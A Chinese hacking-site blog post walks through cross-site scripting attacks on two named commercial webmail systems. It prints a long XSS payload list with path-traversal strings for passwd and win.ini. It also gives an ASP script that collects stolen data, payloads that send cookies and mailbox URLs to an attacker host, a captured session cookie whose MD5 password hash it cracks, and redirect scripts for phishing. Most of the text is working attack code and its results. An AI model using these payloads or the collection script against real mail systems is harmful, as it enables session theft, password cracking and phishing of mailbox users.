栏目

首页 首页 邮箱账号查看内容

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试

最近更新| 发布者: 站长-黑杰克| 查看: |

近期看了不少关于一些知名邮件系统存在严重跨站脚本漏洞的文章,觉得我以前对跨站漏洞的危害认识非常不够。其实攻击者可以利用网站程序对用户输入过滤不足的缺陷巧妙的将特定脚本代码加入到可以显示给用户的页面上,从而达到利用身份、盗取资料、访问恶意网站等目的。特别是邮件系统,如果存在跨站漏洞的话威胁很大。因为恶意用户可能会利用电子邮件对某些邮箱用户发送精心构造的包含特定功能的脚本代码,如获得 cookie、访问木马网页、读取本地文件等。从而攻击者可能会取得该邮箱的访问控制权限,用户的邮件信息就会完全暴露给攻击者。带着几分好奇,我打算对国内比较有名的  “金笛邮件系统”和“遥志邮件系统”进行一次跨站测试,看看他们的安全性如何,是否已经对这种漏洞进行了有效的防范。

金笛邮件系统是北京春笛信息技术有限公司研发的一套邮件系统,采用 Java 技术,支持 windows2000/xp/2003/linux   等主流操作系统,具有多种功能且使用方便。遥志邮件系统(DBMail)是遥志软件开发的一款基于数据库存储的邮件服务器软件,支持目前所有的Windows 版本,并且兼容 64  位系统。这两款软件的公司网站上都有不少宣传资料,可以在其成功案例的宣传栏目上看到很多用户名单,包括国务院新闻办公室  、国家水利部、江西省水利规划设计院、TCL集团工业研究院等多家政府机构和知名公司。可见这两款邮件系统软件的应用还是非常广泛的。从其官方网站上下载到这两款软件的最新试用版。在 WindowsXP 上安装金笛邮件系统 v3.11  版,用默认管理员 admin,密码 111111 登入,创建一个 test.com  域,并建立测试邮箱。然后通过  webmail 登录向测试邮箱发送含有跨站脚本的信件。我在网上收集了大量 XSS  的测试代码,打算将这些跨站脚本全部一次性放进去测试,看看哪些脚本能够逃过邮件系统的过滤然后触发。网上收集的跨站脚本测试代码如下:

<script>alert('XSS')</script>

'><script>alert('XSS')</script>

='><script>alert('XSS')</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

<script>alert('XSS')</script>

<img src=":alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%22%3cscript%3ealert(%22xss%22)%3c/script%3e

%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

a%5c.aspx

a.jsp/<script>alert('Vulnerable')</script>

<IMG src=":alert('XSS');">

<IMG src=:alert('XSS')>

<IMG src=:alert('XSS')>

<IMG src=:alert("XSS")>

<IMG src=:alert('XSS')>

<IMG src=:alert('XSS')>

<IMG

src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x6

5&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG src="jav ascript:alert('XSS');">

"<IMG src=java\0script:alert(\"XSS\")>";'

<IMG src=" :alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=":alert('XSS')">
<BODY on\=alert('XSS')>
<IMG DYNSRC=":alert('XSS')">
<IMG LOWSRC=":alert('XSS')">
<BGSOUND src=":alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="//xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href=":alert('XSS');">
<IMG src=':msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" Con\="0;url=:alert('XSS');">
<IFRAME src=:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND=":alert('XSS')">
<DIV STYLE="background-image: url(:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url(":alert
('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url(":alert('XSS')")}
</STYLE>
<BASE href=":alert('XSS');//">
getURL(":alert('XSS')")
a="get";b="URL";c=":";d="alert('XSS');";eval(a+b+c+d);
<XML src=":alert('XSS');">
"> <BODY on\="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="//xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src=":alert('XSS')"
<IMG src="//www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode">
<SCRIPT a=">" src="//xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="//xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="//xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="//xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT

在 webmail 中将发送发送内容改为 html  代码形式,将以上代码粘贴到邮件内容中然后发送。转到测试信箱的收件箱,点击刚才收到的测试邮件,打开后直接弹出框,如图 1  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第1张

说明该系统对最基本的 <script>alert('XSS')</script>脚本语句都没有过滤,存在严重的跨站漏洞。看来金笛邮件系统要重视跨站漏洞的问题了,免得给用户带来损失。再看看遥志邮件系统。由于该系统要求IIS 环境,因此在 windows2003  下进行测试。按照说明将该软件安装好。版本是 DBMail 标准版 4.26。继续添加一个邮件域,并添加测试用户,web 登录后同样将以上跨站测试代码以 html  形式粘入到邮件正文框中然后发送。到测试收件箱中查看刚才发来的邮件,弹出  XSS的对话框,存在跨站漏洞。如图 2  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第2张

可以看出,遥志邮件系统同样存在着严重的 XSS  漏洞。值得注意的是在利用遥志邮件系统发送 XSS 邮件时,应先将内容选择为  HTML格式,然后再将 HTML 格式选择钩掉,这样 XSS  代码才能完整发送出去。单独对<script>alert('XSS')</script>脚本语句作测试,结果一样。看来遥志邮件系统也未对这最基本的脚本语句做过滤。

本来是想这两个邮件系统应该会对基本的脚本语句进行过滤,如果需要成功跨站还需要更高的脚本技巧。没想到基本的<script></script>脚本语句都没有过滤,看来这两款软件的开发者对 XSS  没有任何防范。如果将刚才脚本中的 alert('xss')语句换为其它如窃cookie、访问指定木马网页和读取文件等脚本语句,就可以实现更多的攻击。下面我们利用这两个邮件系统的跨站漏洞,模拟进行一些跨站攻击的实验。第一种利用方式是将构造好的跨站脚本邮件发送给目标用户,用户点击该邮件后就会将当前 cookie  等信息传送到指定网站,我们可以尝试利用所获得的 cookie  信息冒充用户登录其邮箱。第二种方式是利用跨站邮件迫使用户浏览器访问指定页面,以此来进行钓鱼或网页木马攻击。第一种获得 cookie  等信息的方式需要一个接收信息的网页服务端。其作用是用来接收 XSS  邮件发送来的cookie 等信息。这里以 asp  脚本为例,代码如下:

testfile=Server.MapPath("longker.txt")

msg=Request("msg")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg& "")

thisfile.close

set fs=nothing

该段代码会将 XSS  邮件发送来的信息存至当前网站目录下的

longker.txt 文件中。其邮件中的获取 cookie 信息的 XSS  脚本代码如

下:

<img dynsrc=:window.location.href='http://192.168.123.138/

get.asp?msg='+document.cookie>

//注:此处网址是接收信息的 asp  文件地址先来测试金笛邮件系统,登入测试邮箱,将以上 XSS  代码以HTML  方式写入邮件正文,点击发送。到收件箱查看这封邮件,结果在服务端 longker.txt 中没有收到信息。看来没能成功获得 cookie。

换个思路,获取用户邮箱的当前 URL  试试,脚本代码如下:

<script>document.location='http://192.168.123.138/get.asp?msg='+escap

e(document.location)</script>

利用以上 XSS  代码继续在测试邮箱中发送邮件,查看该邮件后发现 longker.txt 中已经有数据了:

/jdwm/temp/8133ff203dac3ce9bacda30cf61eda39f

cae6b0bb941f5a0800b1dc843334e94/mailbox/1302678489777.8c4.1f0.352f.

source-8a8370e1/html.html

//注:该地址为查看邮件的主机地址将该数据在其它机器上 IE  浏览器地址栏内输入后回车,发现页面自动跳转了,而跳转的地址为:

/get.asp?msg=http%3A//192.168.123.166/jdwm/te

mp/8133ff203dac3ce9bacda30cf61eda39fcae6b0bb941f5a0800b1dc843334e

94/mailbox/1302678489777.8c4.1f0.352f.source-8a8370e1/html.html

仔细观察该地址,发现该地址竟为我们获取信息的 asp  文件所在地址。这就说明利用该地址我们已经在第三方机器上成功访问了我们刚才发送的那封 XSS 邮件了。但是这又有什么用呢,尝试将该  URL后的部分字符删除,如下:

/jdwm/temp/8133ff203dac3ce9bacda30cf61eda39fcae6

b0bb941f5a0800b1dc843334e94/mailbox/

在第三方主机的 IE 地址栏中输入以上 URL,回车后可见如下界面:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第3张

点击进入任意链接,发现里面以网页形式存储了用户此次登录后浏览过的邮件数据。估计金笛邮件系统是将用户当次浏览的邮件信息临时存放在网站的一个目录下了,我们利用该 URL  就可以直接访问了。经测试,在当用户没有退出当前邮箱时,我们可以通过该种方式浏览用户此次浏览的所有邮件。看来我们虽然获取 cookie  失败,但是利用其当前 URL  我们同样获得了用户的敏感信息。继续针对遥志邮件系统展开以上测试。第一步还是针对 cookie。

通过以下脚本获得  cookie:

<img dynsrc=:window.location.href='http://192.168.123.138/

get.asp?msg='+document.cookie>

先后构造 XSS 信件并发送点击后,在 longker.txt  中收到如下ookie  数据:

ck_strAccount=dbmail1@local.com; ck_strAccPrefix=dbmail1;

ck_strPassword=96e79218965eb72c92a549dd5a330112; ck_bRemember=1;

ck_strDomain=local.com; ck_strCurPassword;

ASPSESSIon\=MPNJHGJCMBGMGLFPKJDCIKIH

用 cookie 欺骗浏览器导入该 cookie 访问遥志邮件服务器,并不能成功登录。不知为何。但经仔细观察所获得的 cookie,发现其中包含帐户加密密码等信息。第一感觉是96e79218965eb72c92a549dd5a330112 这一串加密密码很像 MD5  加密的,先通过 MD5 解密网站尝试一下,密码竟然成功破解。如下图 4  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第4张

看来利用所获 cookie  直接登录遥志邮件系统失败,但是还可以利用获得的 cookie 中的 MD5  密码串来破解密码的,特别是现在网上有很多高效的 MD5  破解网站,对常见密码的破解的成功率还是很高的。
关于利用 XSS 获取 cookie  等信息的测试就告一段落,我们针对这两个邮件系统再试试 XSS  自动访问钓鱼网站和网页木马的情况。利用脚本自动访问网页的测试代码如下:

<SCRIPT>document.location = "
sohu.com"</SCRIPT
>

利用测试帐户登录金笛邮件系统,利用以上代码构造 XSS  邮件,发送并点击查看,发现用来显示邮件正文的框架自动跳转了。但是这样的钓鱼并不完美,最好能整个 IE  页面全部跳转,因此换以下代码继续测试:

<SCRIPT>parent.location.href="
sohu.com"</SCRIPT
>

效果如图 5  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第5张

跳转的测试页面还是在框架中,只不过是上一次跳转的框架上一层了。改用以下代码继续尝试:

<SCRIPT>parent.parent.location.href="
baidu.com"</SCRIPT
>

效果不错,如图 6  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第6张

这次实现了全页面跳转,且地址栏内还显示的是邮件系统的地址。如果这是伪造的钓鱼页面,那么将非常有欺骗性的。隐藏访问网页木马的脚本原理一样,这里就不再赘述。采用代码:

<SCRIPT>document.location =

"
baidu.com"</SCRIPT
>

对遥志邮件系统进行自动访问钓鱼网页测试,同样成功跳转到指定网址,如图 7  所示:

对金笛邮件系统和遥志邮件系统的跨站脚本漏洞测试 黑客技术 第7张

 

换成

<SCRIPT>parent.location.href="
baidu.com"</SCRIPT
>

代码,点击信件后整个页面跳转到 baidu  了。如果将百度换为钓鱼网站,用户很难发现。可以看出,利用

<SCRIPT>parent.location.href

="
http://www.baidu.com"</SCRIPT
>

这样的语句可以将整个页面转到指定网页上.而不像

<SCRIPT>document.location =

"
http://www.baidu.com"</SCRIPT
>

只能是网页中的一个框架内的跳转.我觉得这样的强行跳转欺骗性更强,威胁更大。

至此我们对金笛和遥志两个邮件系统的跨站脚本漏洞已经有了一个大概了解。希望开发人员能够对 XSS  重视起来,因为对于邮件系统来说,用户的数据安全是最重要的,一个 XSS  漏洞就足以构成严重威胁了。本文对以上系统的跨站邮件测试均在 Windows XP的 IE6.0 下进行。金笛邮件系统安装在 WindowsXP  下进行测试。由于需要 web 服务环境,遥志邮件系统安装在 Windows2003  下进行测试。



文章由天启科技原创,抄袭必究,转载请注明:
本文地址:http://www.goodgoodhack.com/a/youxianganquan/2425.html
文章由天启科技站长黑杰克原创,免费学习黑客技术,业务联系站长QQ9326665

最新视频